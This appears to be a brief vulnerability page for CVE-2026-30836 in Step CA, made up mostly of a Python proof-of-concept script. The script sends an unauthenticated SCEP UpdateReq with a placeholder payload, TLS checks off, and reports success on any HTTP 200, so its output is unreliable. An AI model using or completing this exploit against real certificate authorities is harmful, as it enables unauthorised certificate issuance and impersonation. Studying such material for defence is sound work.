CVE-2026-30836 Step CA未认证证书签发漏洞

import requests import base64 # Conceptual Proof of Concept for CVE-2026-30836 # Demonstrates the lack of authentication in SCEP UpdateReq target_host = "https://step-ca.example.com" scep_endpoint = "/scep" def generate_malicious_scep_request(): # In a real exploit, this would be a valid PKCS#7 or CSR structure # wrapped specifically for the SCEP UpdateReq operation. mock_payload = "<Malicious_SCEP_UpdateReq_Content>" return base64.b64encode(mock_payload.encode()).decode() def exploit(): print(f"[*] Targeting {target_host}{scep_endpoint}...") headers = { "Content-Type": "application/x-pki-message" } data = { "operation": "PKIOperation", "message": generate_malicious_scep_request() } try: # Note: No authentication token or credentials are sent response = requests.post(target_host + scep_endpoint, data=data, headers=headers, verify=False) if response.status_code == 200: print("[+] Success! Certificate issued without authentication.") print(f"[+] Response: {response.text[:100]}...") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()